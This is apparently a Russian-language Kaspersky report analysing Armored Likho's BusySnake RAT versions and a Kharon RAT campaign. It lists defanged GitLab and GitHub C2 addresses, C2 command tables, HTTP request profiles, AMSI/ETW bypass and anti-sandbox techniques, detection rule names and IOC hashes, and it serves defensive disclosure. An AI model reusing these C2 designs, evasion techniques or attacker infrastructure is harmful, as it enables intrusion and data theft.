Введение
Мы продолжаем мониторинг активности группировки Armored Likho и фиксируем продолжающееся развитие ее вредоносного инструментария. Злоумышленники ведут непрерывную разработку собственных решений, выпуская новые версии вредоносного ПО и перерабатывая архитектуру существующих компонентов, тем самым расширяя их функциональность.
Ключевой находкой стал новый ранее не описанный образец BusySnake RAT. Анализ нескольких обнаруженных версий позволил нам проследить этапы развития этого троянца и получить представление о процессе его разработки. Мы выявили три версии RAT: реализацию на Python с использованием Telegram в качестве канала управления, модификацию с переходом на GitLab и наиболее свежую версию, полностью переписанную на Go.
Несмотря на морфизм арсенала, группировка сохранила практику применения искусственного интеллекта в разработке вредоносных компонентов. При этом, в отличие от предыдущего исследования, где признаки использования ИИ наблюдались при получении первичного доступа к инфраструктуре жертвы, новые находки демонстрируют возможное применение LLM при создании утилит для дальнейшего развития атаки.
Помимо собственных разработок, Armored Likho начала использовать инструмент Kharon RAT с открытым исходным кодом. При помощи этого троянца злоумышленники получали полный удаленный доступ к зараженной системе и выгружали интересующие их файлы.
Мы также выявили изменения в подходах группировки к организации С2-инфраструктуры. Armored Likho перешла от публичных репозиториев GitHub для размещения полезной нагрузки к приватным репозиториям GitLab и GitHub, что усложняет анализ сетевого взаимодействия.
В этой статье мы подробно рассмотрим новые инструменты Armored Likho и разберем особенности их реализации.
BusySnake RAT — Python-версия
Агент с C2 Telegram
В ходе исследования активности группировки Armored Likho мы обнаружили DLL-загрузчик, запуск которого приводит к выполнению ранее не описанного троянца удаленного доступа. Мы назвали его BusySnake RAT. Троянец написан на языке Python, в его коде не применяются техники обхода виртуальных сред и обфускации. В качестве способа коммуникации с С2 он использует инфраструктуру ботов в Telegram.
Для загрузки вредоносной DLL используется техника DLL sideloading, обеспечивающая выполнение кода в контексте легитимного процесса. После запуска библиотеки создается глобальный мьютекс Global\b77c6d0d95a74fde, предотвращающий повторный запуск экземпляра загрузчика. Далее загрузчик расшифровывает зашифрованные строки из сегмента памяти с алгоритмом XOR, формируя следующий URL-адрес:
|
1 |
https://gitlab[.]com/api/v4/projects/[REDACTED]/repository/files/one_liner.txt/raw?ref=main |
Загруженный файл one_liner.txt — это скрипт, который записывается в переменную окружения процесса ENV_CTX_068A5326.
Затем DLL аналогичным образом восстанавливает командную строку, предназначенную для выполнения скрипта, и запускает ее:
При запуске one_liner.txt инициирует процедуру регистрации зараженного устройства и подготовки параметров через конвейер CI/CD GitLab. Скрипт формирует и отправляет запрос на запуск конвейера к репозиторию GitLab, передавая в качестве аргументов имя зараженного устройства (DEVICE_HOSTNAME) и информацию об операционной системе (DEVICE_OS). После запуска конвейера скрипт периодически проверяет его состояние и ожидает успешного завершения.
После успешного завершения конвейера скрипт получает список связанных с ним задач и определяет задачу register_device, что необходимо для последующей загрузки артефактов. Далее создается локальная директория $appdata\updatehelper, в которую загружаются артефакты config.json и token.txt. Файл token.txt содержит токен Telegram-бота, а config.json представляет собой конфигурационный файл, содержащий идентификатор администратора (ADMIN_ID).
Также из этого репозитория скрипт загружает стейджер install.ps1, необходимый для настройки окружения, и выполняет его без записи на диск.
В свою очередь, install.ps1 загружает интерпретатор Python версии 3.12, скрипт get-pip.py, предназначенный для установки менеджера пакетов pip, а также файл полезной нагрузки — bot.py. Все перечисленные компоненты сохраняются в директории $appdata\updatehelper. Похожим образом Armored Likho загружала на устройство BusySnake Stealer в более ранней кампании.
После подготовки окружения стейджер запускает скрипт bot.py в фоновом режиме, без отображения окна. Этот скрипт считывает из конфигурационных файлов токен Telegram-бота и идентификатор оператора, который используется для проверки прав пользователя при обработке входящих команд.
В отличие от более ранних инструментов группировки, особенностью BusySnake RAT является поддержка нескольких операционных систем. Этот троянец нацелен на системы под управлением Windows, Linux и macOS. При инициализации рабочая директория определяется в зависимости от операционной системы и устанавливается в одно из следующих значений:
- $APPDATA\updatehelper для Windows;
- ~/.config/updatehelper для Linux;
- ~/Library/Application Support/updatehelper для macOS.
После инициализации вызывается функция setup_autostart() для закрепления в системе. Механизм закрепления также зависит от целевой операционной системы.
Для Windows закрепление осуществляется посредством запланированной задачи с именем TelegramBot. Она создается при помощи PowerShell-скрипта, содержащегося в bot.py, и настраивается на запуск через 30 секунд после входа пользователя в систему при условии наличия сетевого подключения.
Для macOS механизм закрепления реализуется при помощи создания агента launchd. В директории ~/Library/LaunchAgents создается файл агента com.telegrambot.plist, выполняющий запуск BusySnake RAT.
Для Linux закрепление осуществляется через планировщик задач cron. В системе создается задача, выполняющая запуск бота при каждом запуске системы.
Затем образец формирует сообщение для оператора, содержащее информацию об ОС, имени хоста и рабочей директории.
Параллельно с процессом закрепления в отдельном потоке запускается Telegram-бот. Бот функционирует в режиме опроса: он самостоятельно проверяет наличие новых сообщений от оператора при помощи Telegram API.
Обработка команд в Telegram-боте основана на системе фильтров библиотеки aiogram. В боте реализовано всего два обработчика сообщений, первый отвечает за обработку команды /start, второй — за обработку всех остальных текстовых сообщений. Для каждого обработчика используется фильтр IsAdmin(), который проверяет, соответствует ли идентификатор пользователя, отправившего сообщение, значению ADMIN_ID, указанному в конфигурационном файле. Обработка полученного сообщения осуществляется только при успешном прохождении этой проверки.
При получении команды /start вызывается функция-обработчик cmd_start(). В ходе ее выполнения повторно определяются тип и версия операционной системы, а также имя хоста, после чего бот отправляет оператору сообщение с этими данными. Формат сообщения практически полностью соответствует уведомлению, формируемому при запуске бота.
При получении любого другого текстового сообщения вызывается функция-обработчик execute_command(). Текст полученного сообщения интерпретируется как команда и выполняется с использованием функции asyncio.create_subprocess_shell(). Перед выполнением оператору отправляется уведомление о начале обработки команды.
После завершения выполнения команды на основании полученных данных формируется сообщение с результатами работы. Максимальный объем передаваемых данных ограничивается 3500 символами, что, вероятно, обусловлено лимитом на длину сообщения в Telegram, равным 4096 символам. При превышении значения вывод обрезается с добавлением соответствующей пометки, после чего результат выполнения отправляется оператору.
Агент с C2 GitLab
Развитие BusySnake RAT сопровождалось изменением инфраструктуры управления зловредом. В одной из последующих версий троянца атакующие отказались от инфраструктуры Telegram и стали использовать GitLab в качестве канала управления. Наиболее вероятно, что таким образом Armored Likho намеревалась ускорить регистрацию зараженных устройств и их последующее администрирование, исключив необходимость создания индивидуального бота для каждой скомпрометированной системы.
Изменения затронули не только сам троянец удаленного доступа, но и полезные нагрузки первого этапа. В новой версии запуск вредоносной DLL-библиотеки приводит только к загрузке и запуску стейджера install.ps1.
Функциональность install.ps1 была расширена: после установки зависимостей и загрузки полезной нагрузки стейджер формирует конфигурационный файл для образца. В этот файл записываются два токена доступа к проекту GitLab с различными уровнями прав: один предоставляет доступ на чтение, а другой — на изменение переменных CI/CD проекта. Также в конфигурационный файл сохраняются идентификатор проекта и имя хоста.
Сформированный файл сохраняется по пути $appdata\updatehelper\config.json.
Далее стейджер производит запуск bot.py. В новой версии после запуска образец выполняет проверку на наличие уже запущенного экземпляра на зараженной машине. Реализация этого механизма различается в зависимости от операционной системы. На Windows используется именованный мьютекс. Образец пытается создать мьютекс с помощью функции ctypes.windll.kernel32.CreateMutexW(None, False, "Local\\OneDriveHelperBot"). В случае если мьютекс уже существует, текущий процесс завершается. В операционных системах Linux и macOS для обеспечения запуска одного экземпляра используется PID-файл bot.pid. Образец читает идентификатор процесса из этого файла и проверяет существование соответствующего процесса в системе. При обнаружении активного процесса с указанным PID выполнение текущего экземпляра немедленно прекращается. Если файл отсутствует, он создается, после чего в него записывается идентификатор запущенного процесса.
На этапе инициализации образец считывает из конфигурационного файла основные параметры работы, включая токены доступа к проекту GitLab и идентификатор проекта. Кроме того, на этапе инициализации определяется рабочая директория образца.
Далее вызывается функция setup_autostart() для осуществления закрепления в системе аналогично описанному ранее механизму. Основное отличие заключается в том, что теперь запланированная задача в Windows-системах создается под именем OneDriveHelper. А в macOS для агента автозапуска используется plist-файл с именем com.onedrive.helper.plist.
После закрепления в системе вызываются две основные функции heartbeat_loop() и command_loop(), реализующие основную логику образца. Они выполняются параллельно в отдельных потоках и обеспечивают постоянное взаимодействие с инфраструктурой управления на базе GitLab.
Обмен данными с GitLab осуществляется через переменные окружения CI/CD проекта. Для работы с ними используется внутренний API, выполняющий запросы по следующему адресу:
|
1 |
https://gitlab[.]com/api/v4/projects/{PROJECT_ID}/variables |
API включает функцию gl_get() для чтения значений переменных и функцию gl_set() для создания и изменения переменных. Для этих действий используются соответствующие токены из конфигурационного файла.
В коде образца заранее определен набор переменных CI/CD, используемых для обмена данными между оператором и зараженным устройством. Названия переменных содержат имя зараженного хоста; таким образом атакующие могут управлять несколькими устройствами в одном проекте GitLab.
Функция heartbeat_loop() обеспечивает бесконечный цикл передачи данных о зараженном устройстве. При первом запуске цикла происходит регистрация зараженного устройства через установку значения переменной PING_{HOSTNAME}, в которую записываются текущее время, IP-адрес и версия операционной системы устройства. Далее значение переменной обновляется каждые 60 секунд; таким образом оператор определяет доступность устройства.
В свою очередь, функция command_loop() реализует цикл получения и выполнения команд. Каждые пять секунд производится чтение переменной среды CMD_{HOSTNAME} для получения команды на выполнение. При отсутствии команды цикл продолжается до появления нового значения. Полученная команда выполняется аналогично ранее описанному алгоритму. Результат выполнения команды записывается в переменную RESULT_{HOSTNAME}, причем максимальный размер передаваемых данных увеличен до 8000 символов. Вероятно, это связано с ограничением GitLab на максимальную длину значения переменной CI/CD, составляющим 10 000 символов. Затем значение переменной CMD_{HOSTNAME} очищается, что предотвращает повторное считывание и выполнение команды.
BusySnake RAT — Golang-версия
Процесс модернизации арсенала Armored Likho на этом не закончился: мы обнаружили альтернативный образец BusySnake RAT, написанный на Golang. В его составе присутствует модуль patches.go, реализующий патчинг памяти для обхода таких механизмов, как AMSI и ETW. Для обхода песочниц используется модуль antisandbox.go, а также в состав троянца входят модуль для выполнения команд, полученных от С2, — commands.go и модуль для закрепления на устройстве — persistence.go. Новый подход позволил атакующим избавиться от большого количества зависимостей и перейти на бинарный формат для усложнения как статического, так и динамического анализа. Ниже более детально рассмотрим декомпилированный образец.
В начале происходит инициализация переменных, где определяются имя мьютекса для проверки наличия образца на устройстве, частота опроса С2, частота отправки heartbeat-запросов, а также задается базовый URL-адрес С2.
| Название переменной | Значение | Описание |
| mutexName | Global\\MicrosoftUpdateSyncAgent | Имя мьютекса, используемого для проверки инсталляций на машине |
| heartbeatFreq | 60 * time.Second | Интервал для отправки сетевых пакетов с оповещением о доступности от агента |
| pollFreq | 5 * time.Second | Интервал для отправки сетевых пакетов с запросом команд от агента |
| maxConsecFail | 3 | Максимальное количество попыток неудачных обращений |
| gitlabBase | https://gitlab.com/api/v4 | URL-адрес С2 GitLab API |
| projectID | 83841477 | Идентификатор проекта репозитория |
Затем запускается булева функция acquireMutex(), которая пытается создать мьютекс. Если он уже имеется на устройстве, выполнение образца завершается с кодом 0. Если же мьютекс был успешно создан, управление переходит функциям patchETW() и patchAMSI(). Они осуществляют поиск DLL-библиотек ntdll.dll и amsi.dll, а также получение обработчиков как базовых адресов образов.
Функции патчинга определяют расположение ключевых функций механизмов ETW и AMSI и перезаписывают их заданной последовательностью байт. Таким образом злоумышленники отключают логирование и проверки образца при работе.
На следующем этапе управление переходит функции antiSandbox(). Образец проверяет наличие отладчиков через системный вызов IsDebuggerPresent(): при обнаружении отладчика троянец завершает работу с кодом 0. Он также запрашивает имя пользователя через переменные среды и сравнивает с именем учетной записи WDAGUtilityAccount, которая активна, если настроена изолированная среда Application Guard. Для проверки среды выполнения на эмуляцию управление передается функции timingOK(). Засекается время начала выполнения функции, запускается цикл, продолжительность вычисления на котором заранее рассчитана от 60 до 220 миллисекунд. Затем на такое же время процесс уходит в сон, после чего анализируется время выполнения: если оно заняло больше 400 миллисекунд, значит, время простоя не было сокращено и среда считается не эмулированной.
Также проводится проверка на размер оперативной памяти через функцию GlobalMemoryStatusEx из библиотеки kernel32.dll: общая доступная память должна превышать 2 ГБ. Для избежания детектирования функция вызывается по адресу, найденному во время обхода защиты, без использования функций-оберток.
После того как образец удостоверился, что запущен не в изолированной среде, он собирает данные для регистрации устройства на С2. При помощи функции os.hostname() зловред обращается к переменным среды, запрашивая имя хоста, находит предпочитаемый локальный IP-адрес через UDP-запрос вида net.Dial("udp", "8.8.8.8:80"), после чего выполняет PowerShell-команды для получения версии ОС через переменные среды и реестровое значение.
Для закрепления в системе образец проверяет наличие запланированной задачи; при ее отсутствии создает новую, предварительно проверив путь нахождения образа. Название задачи мимикрирует под легитимный процесс: MicrosoftUpdateSync. Она запускается только при входе в систему.
Основная логика образца реализована в двух функциях: heartbeatLoop(hostname, ip, osVer) и commandLoop(hostname), которые запускаются в качестве воркеров основного процесса. Первая функция отправляет heartbeat-запросы для подтверждения сетевой доступности образца. Запрос отправляется в формате JSON и состоит из имени хоста, локального IP-адреса, версии ОС и токена для записи в GitLab.
Токен записывается как результат выполнения двух функций: writerToken() и decryptToken(encWriterToken). Изначально он зашифрован алгоритмом XOR, и для его расшифровки используется жестко заданный 32-битный ключ. Такой подход позволяет обойти YARA-сканеры, которые на потоке имеют возможность перебора и расшифровки только однобитным ключом. После функция glUpsert() выполняет регистрацию устройства жертвы на GitLab путем записи ранее указанного JSON-запроса в переменные проекта по пути
https://gitlab[.]com/api/v4/projects/83841477/variables. После чего образец спит указанное в конфигурации время, по умолчанию — 60 секунд.
Функция commandLoop(hostname) опрашивает переменные GitLab для получения команды по ранее переданному значению hostname. Для этого она запрашивает значение CMD_, по которому будут отбираться значения, а для доступа к ним использует токен для чтения. После переменная очищается функцией clearCommand(hostname), и полученная команда передается на выполнение. Троянец оснащен командами, представленными в таблице ниже.
| Сетевые команды | Описание |
| CMD_shell | Запускает процесс PowerShell в режиме скрытого окна |
| CMD_file_upload | Если размер локального файла превышает 4,5 КБ: читает файл и выгружает его в ветку GitLab по пути files/{hostname}/{original_filename} |
| CMD_file_list | Проверяет список файлов в директории |
| CMD_file_get | Если размер локального файла не превышает 4,5 КБ: читает файл и записывает его в переменную RESULT_, предварительно закодировав алгоритмом Base64 |
| CMD_uninstall | Удаляет запланированную задачу, очищает переменные GitLab и рабочую директорию образца |
Мы также обнаружили новую панель управления в ходе исследования ранее известной инфраструктуры Armored Likho. С высокой степенью уверенности мы утверждаем, что она предназначена для взаимодействия агентов с GitLab-проектом.
Новая кампания с Kharon RAT
В ходе анализа общих процедур и техник, характерных для активности Armored Likho, мы выявили ранее неизвестную кампанию группы с основной вредоносной нагрузкой в виде Kharon RAT. Для доставки троянца использовался загрузчик формата EXE, представляющий собой самостоятельную разработку злоумышленников. Он обладает нетипичной структурой и позволяет расшифровывать и загружать основной образец, зашифрованный алгоритмом ChaCha20. Ниже мы подробно разберем цепочку атаки и способы получения первичного доступа.
Заражение начинается с HTA-загрузчика new text document.hta. В скриптовой части явно заметны следы использования генеративного ИИ, а комментарии написаны на украинском языке.
Скрипт состоит из трех ключевых функций — StartDownload, SchTsk и RegK — где первая загружает следующий загрузчик в цепочке, а остальные производят закрепление на хосте жертвы. По сравнению с предыдущими кампаниями, где BusySnake Stealer распространялся через открытые репозитории GitHub, в этом случае используются приватные репозитории, доступ к которым регулируется по API-токену. Загрузчик следующего этапа скачивается из репозитория foxxy-lgtm/officeupdt и записывается в два файла: AutoUpdt.exe и CheckMissed.exe.
Как и в случае с BusySnake Stealer, закрепление происходит через модуль win32com.client, который обращается к COM-объекту Schedule.Service и создает запланированную задачу с именем OfficeUpdt, запускающую исполняемый файл по пути C:\Office\AutoUpdt.exe. Такой подход позволяет более скрытно закрепиться в системе, чем через прямой вызов планировщика задач. Также образец осуществляет закрепление, дополнительно добавляя загрузчик в ключ реестра Software\Microsoft\Windows\CurrentVersion\Run.
Мы также обнаружили упрощенную цепочку доставки Kharon RAT, в которой использовались BAT-скрипты в качестве загрузчиков первой стадии. При запуске такого скрипта с файлового сервера загружалась PDF-приманка и идентичный предыдущему загрузчик второго этапа. При скачивании образец переименовывается в svch0st.exe в попытке мимикрировать под название легитимного процесса.
Запущенный загрузчик представляет собой бинарный файл формата EXE, написанный на языке C++ версии 19.36.36244. При анализе образца мы выявили мусорные функции, которые вне зависимости от результата выполнения возвращали код 0.
Основная логика заложена в функции sub_140007610. Она состоит из нескольких ключевых этапов, за каждый из которых отвечает своя вложенная функция. Рассмотрим эту точку входа более подробно.
Сначала образец проверяет наличие отладчиков через вызов функций IsDebuggerPresent() и CheckRemoteDebuggerPresent(), размер доступной памяти, чтобы определить среду, в которой он запускается, а также обходит песочницу через функцию Sleep().
После проведенных проверок функция sub_1400096E0 расшифровывает четыре аргумента: url_host, url_path, local_buf, context. Расшифровка осуществляется по нечетным байтам при помощи XOR с ключом 0xAA. В результате аргументы собираются в сетевой запрос к GitHub-репозиторию с API-ключом, который записывается в переменные, перечисленные ниже. По полученному адресу загружается полезная нагрузка.
| Название переменной | Значение |
| xmmword_14001B4D0 | raw.githubusercontent[.]com:443/foxxy-lgtm/officeupdt/main/klp2.exe |
| xmmword_14001B510 | raw.githubusercontent[.]com/foxxy-lgtm/officeupdt/main/update.bin |
| xmmword_14001B570 | Authorization: Bearer [redacted] |
Далее образец загружает wininet.dll и разрешает функции через хэши их имен, после чего скачивает файл update.bin. Нам удалось получить этот .bin-файл, а также расшифровать его. Исходя из алгоритма обработки, образец структурно разбивается на три части: первый блок размером 12 байт, второй блок в 32 байта и третий — с 45 байт и до последнего байта образца.
Первые два блока представляют собой счетчик и ключ шифрования ChaCha20, а третий — зашифрованный этим алгоритмом Kharon RAT. Загрузчик расшифровывает третий блок, после чего выделяет память при помощи функции NtAllocateVirtualMemory, записывает расшифрованный Kharon RAT в формате PIC (позиционно независимого кода), создает отдельный поток через NtCreateThreadEx и запускает троянец. На момент публикации код зловреда был доступен на GitHub.
Kharon RAT — это позиционно независимый RAT-троянец, который распространяется в форматах EXE, DLL, SVC и BIN. Его серверная часть интегрируется в экосистему фреймворка AdaptixC2. Оператору доступна коммуникация по HTTPS-протоколу для внешнего взаимодействия и по SMB в случае нахождения на целевом устройстве. Троянец поддерживает сетевые профили, позволяя оператору часто модифицировать поля в сетевых пакетах при коммуникации агента с сервером. Такую активность сложнее детектировать при мониторинге трафика. Кроме того, Kharon RAT содержит встроенную функциональность двойного шифрования передаваемых данных через XOR и LOKI и Base64-кодирования.
Рассматриваемый образец Kharon RAT имеет модульную архитектуру и состоит из четырех ключевых модулей, написанных на C++: file_system, injection, kit, include. Рассмотрим подробнее его основные возможности.
Образец имеет возможность инъекции в запускаемые процессы. Для этого он мимикрирует под легитимный сервис и создает именованный канал \\.\pipe\spoolss, чтобы получать ответы от шелл-кода, внедренного в процессы. Кроме того, модуль оснащен дополнительными командами.
Также агент может загружать файлы на целевое устройство и выгружать данные с него через нативные модули на С++: cat.cc, cd.cc, cp.cc, ls.cc, mkdir.cc, mv.cc, pwd.cc, rm.cc.
В ходе анализа образца мы обнаружили конфигурационные профили. Ниже в таблице представлены параметры конфигурации.
| Параметр | Значение | Описание |
| Jitter | 30% | Отклонение от значения Sleep в случайную сторону, чтобы сетевые обратные вызовы не шли со строгой периодичностью |
| Sleep | 5000 ms | Время простоя перед выполнением |
| Mask | 1 (ON) | Опция маскировки кучи |
| Ppid | 2 | Сохраняет значение идентификатора родительского процесса для контроля поведения |
| BlockDlls | 3 | Включает политику BlockDLLs: ограничение загрузки сторонних DLL в дочернем процессе |
| Spawn | C (drive letter) | Логический раздел для запуска новых образцов |
| Worktime | 0 (не задан) | Окно разрешенной активности: дни недели и/или время суток |
| HeapObf | 1 (ON) | Обфускация содержимого кучи для сокрытия строк конфигурации и другого кода от механизма Memory Scan |
| KilldateSelfdel | 1 | Опция самоуничтожения образца по дате |
| AmsiEtwBypass | 1 (ON) | Опция обхода AMSI, ETW |
| Syscall | 0 (OFF) | Опции коммуникации с ОС |
| ForkPipeName | \\.\pipe\spoolss | Именованный канал для коммуникации с агентом |
| BofApiProxy | 1 | Опция проксирования API-вызовов BOF-модулей |
Для циклического опроса сервера используется функция Sleep со значением Jitter, которое либо увеличивает, либо уменьшает время простоя между выполнением команд. Для сетевой коммуникации используется профиль GET-запросов, который представлен ниже. Обращения через метод GET по путям /api/v1/status, /api/v1/health позволяют запрашивать команды на выполнение и проверять доступность сервиса.
|
1 2 3 4 5 |
GET [hostname][endpoints: /api/v1/status, /api/v1/health] User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Connection: keep-alive Content-Type: application/json Accept: application/json |
Для мимикрии под легитимный трафик при отсутствии команд для агента серверная часть может ответить пустым HTML-шаблоном.
Обращения через метод POST по путям /api/v1/upload, /api/v1/submit позволяют загружать файлы на С2-сервер. Первый путь предназначен для эксфильтрации файлов с устройства: они проходят два цикла шифрования (XOR и LOKI), кодируются в Base64 и отправляются в запросе в формате JSON. Второй путь служит для отправки результатов выполнения команд, также в виде JSON-тела.
|
1 2 3 4 5 6 7 |
POST [hostname][endpoints: /api/v1/upload, /api/v1/submit] User-Agent: default Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive {"data": "<base64_payload>", "timestamp": 1704067200} |
Выводы
Группировка Armored Likho разрабатывает новые версии собственного инструмента BusySnake RAT и использует Kharon RAT для проведения атак с использованием легитимной инфраструктуры в качестве С2-серверов. Для распространения вредоносных образцов стали использоваться приватные репозитории GitHub в отличие от предыдущих кампаний, где стейджеры были доступны в публичных репозиториях. Полезная нагрузка теперь загружается с легитимного сервиса GitLab при помощи простых однострочных скриптов.
Злоумышленники продолжают использовать генеративный ИИ для создания первичных загрузчиков, а также полезных нагрузок для автоматизации своей работы и усложнения атрибуции проводимых атак. Для сокрытия выполняемых функций появились новые методы проверки запуска в виртуальных средах, а также статическая обфускация в передаваемых полезных нагрузках. Мы продолжаем отслеживать активность группировки Armored Likho и информировать наших клиентов о новых кампаниях злоумышленников.
Детектирование решениями «Лаборатории Касперского»
Защитные решения «Лаборатории Касперского» успешно обнаруживают вредоносную активность в рамках описанных атак.
Вредоносное ПО, использованное в этой атаке, обнаруживается нашими решениями со следующими вердиктами:
- HEUR:Trojan-Dropper.NSIS.BusySnake.gen
- PDM:Trojan-PSW.Win32.BusySnake
- Backdoor.Win64.Armored.gen
- Trojan-Downloader.NSIS.Agent
- Trojan-Dropper.NSIS.BusySnake.gen
Рассмотрим процесс детектирования подробнее на примере Kaspersky Endpoint Detection and Response Expert.
Активность Armored Likho детектируется еще на этапе запуска загрузчика. Как мы рассказывали выше, загрузчик представляет собой PowerShell-скрипт, который запускает конвейер проекта GitLab, передавая в качестве аргументов имя хоста и его операционную систему, после чего загружает конфигурационные файлы для образца, а также выполняет загрузку и запуск стейджера. Эта цепочка действий детектируется следующими правилами:
- powershell_download_and_execute_amsi
- downloading_via_powershell_cmdlets_amsi
- exfiltration_over_http_via_powershell_amsi
- process_discovery_via_powershell_or_wmi_amsi
- exfiltration_to_cloud_storage_via_powershell_amsi
Стейджер выполняется без записи на диск и осуществляет установку компонентов, необходимых для работы зловреда. После завершения подготовки среды он загружает и запускает основной исполняемый модуль образца. Эта цепочка действий детектируется следующими правилами:
На рисунке ниже представлен интерфейс Kaspersky Cloud Sandbox, демонстрирующий результаты динамического анализа загрузчика:
По результатам динамического анализа видно, что исследуемый образец осуществляет сетевые обращения к сервису GitLab. Более подробно проанализировать сетевое взаимодействие можно на вкладке «Действия в сети»:
Индикаторы компрометации
Вредоносные файлы первого этапа
54e6fb97e5e1e1be431c4b06f2713eca HTA-загрузчик
1193d0fbe5046ae4b3b757e01a074059 EXE-загрузчик
263bb2f257a8dbb9873366e0493982df EXE-загрузчик
7a9c9c35588d7734dcb476c93b4fff11 EXE-загрузчик
ed8ebe5a7894588a27124e3076e8fa01 EXE-загрузчик
f9bb3f0357c02fd7ede6aa93a5b34c24 EXE-загрузчик
e5edfb503a64d174bf2b4c23a986a478 EXE-загрузчик
b8d05b887c0b4f92dfee031cbfeeabd7 EXE-загрузчик
db95e1e2dbf4a72b6d6eda927cea8198 EXE-загрузчик
89548e94ed31b9743505366b6839d907 EXE-загрузчик
8aec909a6716b351317adaeb6c7d9f28 EXE-загрузчик
a49c53f08acb147c26d838a8068ed239 EXE-загрузчик
a6abb93ed43173b20e97130f8e908d71 EXE-загрузчик
3525253b34da5f284430eddb04848f7d EXE-загрузчик
132165c562e65343d9fdb211ca079e92 EXE-загрузчик
05877c42815e8000012b33ac17eba81e EXE-загрузчик
5796a531db638cf21724f18241dec1e9 EXE-загрузчик
54b9e05936583e29a7d58f5e84cf734d EXE-загрузчик
785e3d207e376482096891246286e3c3 EXE-загрузчик
fec207fe8f303940b066c1b204c018d2 EXE-загрузчик
e1a12f0577a51d4a13d457fc049ae0f6 EXE-загрузчик
7f4ea8f2544080bb912212ddaee6843e EXE-загрузчик
1abc650f1a56f7d74a326f642439528e EXE-загрузчик
595691194f74ff85a240e63edda89510 EXE-загрузчик
63b7415b7a3d042007ad60d716b9d7a9 EXE-загрузчик
663c671aba33276e9ab8b54c2ae0b346 EXE-загрузчик
0b7b4d8af023c159c70f15918623bcd5 EXE-загрузчик
1aa788b94fbcc82cf8c58f28bb43e8c5 EXE-загрузчик
8235f0de5ee9ddd28653fdbcfc7ebd12 EXE-загрузчик
7b33dda8bcf3c141f80a7d3ef0bcba3c EXE-загрузчик
c3996eb77c2253787725a7ae3298994d EXE-загрузчик
b5191e2bc9d3b94d91ca2d0f959198e6 EXE-загрузчик
53db562f7bac4da841e5848dd6bb06cc EXE-загрузчик
34b7480fced542f59cb2fed64ff37101 EXE-загрузчик
54e6fb97e5e1e1be431c4b06f2713eca EXE-загрузчик
975f980733a944b0600770412a42ee78 DLL-загрузчик
7e5d8d23639c3a833b4bad50625db87c PS1-загрузчик
f2fe791d74a1fc56514ac68e6f019a2f PS1-загрузчик
Kharon RAT
5a388941ce607cad7d5b8c0d7fa2e6ab Зашифрованный Kharon RAT
a4a919f7e531792378a7cb92545a8cfe Зашифрованный Kharon RAT
748b038b50b6349a0be488f02e4b04e0 Зашифрованный Kharon RAT
76e4aaa665cf14f80facfd03640f6869 Зашифрованный Kharon RAT
9decce72b085ba8d452cdf3c23b77d29 Расшифрованный Kharon RAT
93b882ffea2de4e2ef3a89e00b890e6b Расшифрованный Kharon RAT
BusySnake RAT — Python-версия
83686f9511d54a39ce8f8a031853376f
BusySnake RAT — Golang-версия
3db0a2f64f0289c75b055e14c9ec5d0e EXE






























Armored Likho: новые ключи к старым дверям. Как группа адаптирует инструменты, сохраняя почерк